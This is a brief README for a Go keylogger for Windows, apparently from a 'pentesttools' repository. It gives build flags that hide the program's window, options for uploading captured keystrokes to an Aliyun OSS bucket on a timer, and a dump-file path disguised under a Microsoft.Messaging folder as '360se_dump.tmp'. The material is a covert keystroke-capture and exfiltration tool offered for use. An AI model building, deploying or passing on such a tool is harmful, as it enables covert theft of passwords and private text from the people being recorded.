go mod download # Use Proxy If you are in China!
If you are in China Mainland, please check: https://goproxy.cn/ for golang dependency download proxy setting guide.
go build -trimpath -ldflags "-s -w -H=windowsgui" key.go
Tested only on Windows.
Without any runtime params, it will never upload any recorded data.
To prevent Aliyun OSS Access Key from leakage, please use with caution.
> keylogger.exe -h
Usage of keylogger.exe:
-o string
format: bucketName:accessKeyId:accessKeySecret:endpoint
-t int
Upload interval,default: 60min (default 60)
C:\Users\<USERNAME>\AppData\Local\Packages\Microsoft.Messaging\360se_dump.tmp
https://github.com/mabangde/pentesttools/blob/master/golang/keylogger.go